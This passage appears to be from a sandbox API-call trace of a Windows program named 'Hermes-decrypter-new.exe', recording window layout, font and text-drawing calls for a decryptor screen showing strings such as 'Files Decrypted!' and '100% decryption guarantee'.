GetSystemMetrics (nIndex=34) returned 136 [0174.106] GetSystemMetrics (nIndex=35) returned 39 [0174.107] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.107] AdjustWindowRectEx (in: lpRect=0x19e318, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e318) returned 1 [0174.107] GetCurrentThreadId () returned 0x390 [0174.107] GetCurrentThreadId () returned 0x390 [0174.107] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.107] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0174.107] SelectObject (hdc=0x8e0106dd, h=0x210a0725) returned 0x110a0722 [0174.107] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Files Decrypted!", cchText=16, lprc=0x19e200, format=0x2400, lpdtp=0x3077d3c | out: lpchText="Files Decrypted!", lprc=0x19e200) returned 39 [0174.108] GetCurrentThreadId () returned 0x390 [0174.108] GetCurrentThreadId () returned 0x390 [0174.108] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.108] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0174.108] DrawTextExW (in: hdc=0x8e0106dd, lpchText="No files decrypted!", cchText=19, lprc=0x19e200, format=0x2400, lpdtp=0x3077e7c | out: lpchText="No files decrypted!", lprc=0x19e200) returned 39 [0174.108] GetCurrentThreadId () returned 0x390 [0174.108] GetCurrentThreadId () returned 0x390 [0174.109] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.109] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0174.109] SelectObject (hdc=0x8e0106dd, h=0xa0a0724) returned 0x210a0725 [0174.109] DrawTextExW (in: hdc=0x8e0106dd, lpchText="100% decryption guarantee", cchText=25, lprc=0x19e200, format=0x2400, lpdtp=0x3077fd4 | out: lpchText="100% decryption guarantee", lprc=0x19e200) returned 32 [0174.109] GetCurrentThreadId () returned 0x390 [0174.109] GetCurrentThreadId () returned 0x390 [0174.109] GetCurrentThreadId () returned 0x390 [0174.109] GetCurrentThreadId () returned 0x390 [0174.109] GetCurrentThreadId () returned 0x390 [0174.109] GetCurrentThreadId () returned 0x390 [0174.110] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.110] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0174.110] SelectObject (hdc=0x8e0106dd, h=0xb0a0728) returned 0xa0a0724 [0174.110] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Processing...", cchText=13, lprc=0x19e200, format=0x2405, lpdtp=0x3078298 | out: lpchText="Processing...", lprc=0x19e200) returned 24 [0174.115] GetCurrentThreadId () returned 0x390 [0174.115] GetCurrentThreadId () returned 0x390 [0174.115] GetCurrentThreadId () returned 0x390 [0174.115] GetCurrentThreadId () returned 0x390 [0174.116] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.116] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0174.116] SelectObject (hdc=0x8e0106dd, h=0x240a0712) returned 0xb0a0728 [0174.116] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Password:", cchText=9, lprc=0x19e200, format=0x2400, lpdtp=0x30784cc | out: lpchText="Password:", lprc=0x19e200) returned 63 [0174.116] GetCurrentThreadId () returned 0x390 [0174.116] GetCurrentThreadId () returned 0x390 [0174.116] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0174.117] GdipCreateFont (fontFamily=0x57faee0, emSize=0x411c0000, style=1, unit=0x3, font=0x30787a0) returned 0x0 [0174.117] GdipGetFontSize (font=0x691cae0, size=0x30787a4) returned 0x0 [0174.117] CreateCompatibleDC (hdc=0x0) returned 0x21010742 [0174.117] GetDC (hWnd=0x0) returned 0x60100ce [0174.117] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19e22c) returned 0x0 [0174.117] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0174.117] GdipGetLogFontW (font=0x691cae0, graphics=0x6926780, logfontW=0xeeb228) returned 0x0 [0174.118] CoTaskMemFree (pv=0xeeb228) [0174.118] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0174.118] CoTaskMemFree (pv=0xeeb228) [0174.118] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0174.118] CoTaskMemFree (pv=0xeeb228) [0174.118] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0174.118] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0174.118] CoTaskMemAlloc (cb=0x5c) returned 0xeeace0 [0174.118] CreateFontIndirectW (lplf=0xeeace0) returned 0x260a0743 [0174.118] CoTaskMemFree (pv=0xeeace0) [0174.118] SelectObject (hdc=0x21010742, h=0x260a0743) returned 0x8a01c2 [0174.118] GetTextMetricsW (in: hdc=0x21010742, lptm=0x19e328 | out: lptm=0x19e328) returned 1 [0174.118] GetTextExtentPoint32W (in: hdc=0x21010742, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x3078cec | out: psizl=0x3078cec) returned 1 [0174.119] SelectObject (hdc=0x21010742, h=0x8a01c2) returned 0x260a0743 [0174.119] DeleteDC (hdc=0x21010742) returned 1 [0174.120] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.120] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0174.120] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.120] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0174.121] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.121] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0174.121] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.121] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0174.122] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.122] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0174.122] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.122] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0174.122] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.122] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0174.123] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.123] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0174.123] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.123] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0174.123] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.124] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0174.124] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.124] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0174.124] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.124] AdjustWindowRectEx (in: lpRect=0x19e288, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e288) returned 1 [0174.125] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.125] AdjustWindowRectEx (in: lpRect=0x19e0ec, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e0ec) returned 1 [0174.125] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.125] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0174.125] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.126] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0174.147] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.147] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0174.148] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.148] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0174.148] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.148] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0174.149] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.149] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0174.149] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.149] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0174.149] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.149] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0174.150] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.150] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0174.150] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.150] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0174.150] DeleteObject (ho=0x260a0743) returned 1 [0174.150] GetDC (hWnd=0x0) returned 0x60100ce [0174.150] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19e2e0) returned 0x0 [0174.151] GdipGetFontHeight (font=0x691cae0, graphics=0x6926780, height=0x19e2d8) returned 0x0 [0174.151] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0174.151] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0174.152] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.152] AdjustWindowRectEx (in: lpRect=0x19e2c0, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2c0) returned 1 [0174.152] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.152] AdjustWindowRectEx (in: lpRect=0x19e330, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e330) returned 1 [0174.152] AdjustWindowRectEx (in: lpRect=0x19e3fc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e3fc) returned 1 [0174.152] GetSystemMetrics (nIndex=59) returned 1460 [0174.152] GetSystemMetrics (nIndex=60) returned 920 [0174.153] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.153] AdjustWindowRectEx (in: lpRect=0x19e234, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e234) returned 1 [0174.153] AdjustWindowRectEx (in: lpRect=0x19e2fc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e2fc) returned 1 [0174.153] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.153] AdjustWindowRectEx (in: lpRect=0x19e0b8, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e0b8) returned 1 [0174.153] AdjustWindowRectEx (in: lpRect=0x19e2dc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e2dc) returned 1 [0174.154] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.154] AdjustWindowRectEx (in: lpRect=0x19e030, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e030) returned 1 [0174.154] AdjustWindowRectEx (in: lpRect=0x19e114, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e114) returned 1 [0174.154] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.154] AdjustWindowRectEx (in: lpRect=0x19e2d4, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2d4) returned 1 [0174.155] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.155] AdjustWindowRectEx (in: lpRect=0x19e138, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e138) returned 1 [0174.155] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x19e9b0 | out: lpdwProcessId=0x19e9b0) returned 0x390 [0174.155] GetCurrentThreadId () returned 0x390 [0174.155] GetWindowTextLengthW (hWnd=0x10248) returned 0 [0174.155] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.155] GetSystemMetrics (nIndex=42) returned 0 [0174.155] GetWindowTextW (in: hWnd=0x10248, lpString=0x19e8b8, nMaxCount=1 | out: lpString="") returned 0 [0174.155] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xd, wParam=0x1, lParam=0x19e8b8) returned 0x0 [0174.155] GetCurrentActCtx (in: lphActCtx=0x19e844 | out: lphActCtx=0x19e844*=0xef1264) returned 1 [0174.155] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.156] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0174.156] CreateWindowExW (dwExStyle=0x50000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName="Key", dwStyle=0x56010000, X=0, Y=0, nWidth=661, nHeight=357, hWndParent=0x10248, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10272 [0174.156] SetWindowLongW (hWnd=0x10272, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0174.156] GetWindowLongW (hWnd=0x10272, nIndex=-4) returned 1952448832 [0174.158] SetWindowTextW (hWnd=0x10272, lpString="Key") returned 1 [0174.158] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0xc, wParam=0x0, lParam=0x30793bc) returned 0x1 [0174.158] GetStartupInfoW (in: lpStartupInfo=0x30798e0 | out: lpStartupInfo=0x30798e0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\FD1HVy\\Hermes-decrypter-new.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0174.159] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0x5, wParam=0x0, lParam=0x1650295) returned 0x0 [0174.159] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0174.159] GetClientRect (in: hWnd=0x10272, lpRect=0x19df88 | out: lpRect=0x19df88) returned 1 [0174.159] GetWindowRect (in: hWnd=0x10272, lpRect=0x19df88 | out: lpRect=0x19df88) returned 1 [0174.159] GetParent (hWnd=0x10272) returned 0x10248 [0174.159] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10248, lpPoints=0x19df88, cPoints=0x2 | out: lpPoints=0x19df88) returned -16646646 [0174.159] SendMessageW (hWnd=0x10272, Msg=0x2210, wParam=0x2720001, lParam=0x10272) returned 0x0 [0174.159] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0x2210, wParam=0x2720001, lParam=0x10272) returned 0x0 [0174.159] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0174.160] GetParent (hWnd=0x10272) returned 0x10248 [0174.160] GetSystemMetrics (nIndex=49) returned 16 [0174.160] GetSystemMetrics (nIndex=50) returned 16 [0174.160] CreateIconFromResourceEx (presbits=0x3079960, dwResSize=0x468, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x15023f [0174.161] SendMessageW (hWnd=0x10272, Msg=0x80, wParam=0x0, lParam=0x15023f) returned 0x0 [0174.161] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0x80, wParam=0x0, lParam=0x15023f) returned 0x0 [0174.161] SendMessageW (hWnd=0x10272, Msg=0x80, wParam=0x1, lParam=0xd0083) returned 0x0 [0174.161] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0x80, wParam=0x1, lParam=0xd0083) returned 0x0 [0174.161] GetSystemMenu (hWnd=0x10272, bRevert=0) returned 0x0 [0174.162] GetWindowPlacement (in: hWnd=0x10272, lpwndpl=0x19e854 | out: lpwndpl=0x19e854) returned 1 [0174.162] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0174.162] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x0) returned 1 [0174.162] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0174.162] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0174.162] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0174.162] GetClientRect (in: hWnd=0x10272, lpRect=0x19e898 | out: lpRect=0x19e898) returned 1 [0174.162] GetClientRect (in: hWnd=0x10272, lpRect=0x19e7f8 | out: lpRect=0x19e7f8) returned 1 [0174.162] GetWindowRect (in: hWnd=0x10272, lpRect=0x19e7f8 | out: lpRect=0x19e7f8) returned 1 [0174.162] GetParent (hWnd=0x10272) returned 0x10248 [0174.162] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10248, lpPoints=0x19e7f8, cPoints=0x2 | out: lpPoints=0x19e7f8) returned -16646646 [0174.162] SetMenu (hWnd=0x10272, hMenu=0x0) returned 0 [0174.162] DrawMenuBar (hWnd=0x10272) returned 1 [0174.162] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.163] GetWindowLongW (hWnd=0x10272, nIndex=-16) returned 1442906112 [0174.163] GetWindowLongW (hWnd=0x10272, nIndex=-16) returned 1442906112 [0174.163] GetWindowLongW (hWnd=0x10272, nIndex=-20) returned 327680 [0174.163] SetWindowPos (hWnd=0x10272, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0174.163] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0x46, wParam=0x0, lParam=0x19e80c) returned 0x0 [0174.163] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0x83, wParam=0x1, lParam=0x19e7e4) returned 0x0 [0174.163] GetWindowPlacement (in: hWnd=0x10272, lpwndpl=0x19e538 | out: lpwndpl=0x19e538) returned 1 [0174.163] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0x47, wParam=0x0, lParam=0x19e80c) returned 0x0 [0174.163] GetClientRect (in: hWnd=0x10272, lpRect=0x19e4e8 | out: lpRect=0x19e4e8) returned 1 [0174.163] GetWindowRect (in: hWnd=0x10272, lpRect=0x19e4e8 | out: lpRect=0x19e4e8) returned 1 [0174.163] GetParent (hWnd=0x10272) returned 0x10248 [0174.163] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10248, lpPoints=0x19e4e8, cPoints=0x2 | out: lpPoints=0x19e4e8) returned -16646646 [0174.163] GetParent (hWnd=0x10272) returned 0x10248 [0174.164] RedrawWindow (hWnd=0x10272, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0174.164] GetSystemMenu (hWnd=0x10272, bRevert=0) returned 0x0 [0174.164] GetWindowPlacement (in: hWnd=0x10272, lpwndpl=0x19e844 | out: lpwndpl=0x19e844) returned 1 [0174.164] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0174.164] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x0) returned 1 [0174.164] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0174.164] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0174.164] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0174.164] SetWindowPos (hWnd=0x10272, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0174.164] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0x46, wParam=0x0, lParam=0x19e88c) returned 0x0 [0174.164] GetWindowTextLengthW (hWnd=0x10248) returned 0 [0174.164] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.164] GetSystemMetrics (nIndex=42) returned 0 [0174.164] GetWindowTextW (in: hWnd=0x10248, lpString=0x19e7e4, nMaxCount=1 | out: lpString="") returned 0 [0174.164] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xd, wParam=0x1, lParam=0x19e7e4) returned 0x0 [0174.164] SetWindowPos (hWnd=0x10248, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0174.165] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x46, wParam=0x0, lParam=0x19e8b4) returned 0x0 [0174.165] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.165] GetClientRect (in: hWnd=0x10248, lpRect=0x19e5bc | out: lpRect=0x19e5bc) returned 1 [0174.165] GetWindowTextLengthW (hWnd=0x10248) returned 0 [0174.165] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.166] GetSystemMetrics (nIndex=42) returned 0 [0174.166] GetWindowTextW (in: hWnd=0x10248, lpString=0x19e49c, nMaxCount=1 | out: lpString="") returned 0 [0174.166] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xd, wParam=0x1, lParam=0x19e49c) returned 0x0 [0174.166] GetClientRect (in: hWnd=0x10248, lpRect=0x19e4c4 | out: lpRect=0x19e4c4) returned 1 [0174.166] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0174.166] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0174.166] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0174.166] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0174.166] SaveDC (hdc=0x1e0106e1) returned 1 [0174.166] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0174.166] CreateSolidBrush (color=0x323533) returned 0x4010073a [0174.166] FillRect (hDC=0x1e0106e1, lprc=0x19e364, hbr=0x4010073a) returned 1 [0174.166] DeleteObject (ho=0x4010073a) returned 1 [0174.166] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0174.167] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.167] GetWindowPlacement (in: hWnd=0x10246, lpwndpl=0x19e5fc | out: lpwndpl=0x19e5fc) returned 1 [0174.167] GetClientRect (in: hWnd=0x10246, lpRect=0x19e5a8 | out: lpRect=0x19e5a8) returned 1 [0174.167] GetWindowTextLengthW (hWnd=0x10246) returned 3 [0174.167] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0174.167] GetSystemMetrics (nIndex=42) returned 0 [0174.167] GetWindowTextW (in: hWnd=0x10246, lpString=0x19e478, nMaxCount=4 | out: lpString="Key") returned 3 [0174.167] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xd, wParam=0x4, lParam=0x19e478) returned 0x3 [0174.167] GetClientRect (in: hWnd=0x10246, lpRect=0x19e4b0 | out: lpRect=0x19e4b0) returned 1 [0174.167] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0174.167] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0174.167] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0174.167] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0174.168] SaveDC (hdc=0x60100ce) returned 1 [0174.168] GetNearestColor (hdc=0x60100ce, color=0x323533) returned 0x323533 [0174.168] CreateSolidBrush (color=0x323533) returned 0x4110073a [0174.168] FillRect (hDC=0x60100ce, lprc=0x19e350, hbr=0x4110073a) returned 1 [0174.168] DeleteObject (ho=0x4110073a) returned 1 [0174.168] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0174.168] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.168] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.169] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.169] GetClientRect (in: hWnd=0x1024e, lpRect=0x19e5bc | out: lpRect=0x19e5bc) returned 1 [0174.169] GetWindowTextLengthW (hWnd=0x1024e) returned 0 [0174.169] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.169] GetSystemMetrics (nIndex=42) returned 0 [0174.169] GetWindowTextW (in: hWnd=0x1024e, lpString=0x19e49c, nMaxCount=1 | out: lpString="") returned 0 [0174.169] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xd, wParam=0x1, lParam=0x19e49c) returned 0x0 [0174.169] GetClientRect (in: hWnd=0x1024e, lpRect=0x19e4c4 | out: lpRect=0x19e4c4) returned 1 [0174.169] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0174.169] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0174.169] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0174.169] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0174.169] SaveDC (hdc=0x1e0106e1) returned 1 [0174.170] GetNearestColor (hdc=0x1e0106e1, color=0xcc7a00) returned 0xcc7a00 [0174.170] CreateSolidBrush (color=0xcc7a00) returned 0x4210073a [0174.170] FillRect (hDC=0x1e0106e1, lprc=0x19e364, hbr=0x4210073a) returned 1 [0174.170] DeleteObject (ho=0x4210073a) returned 1 [0174.170] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0174.170] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.170] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0174.170] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.171] 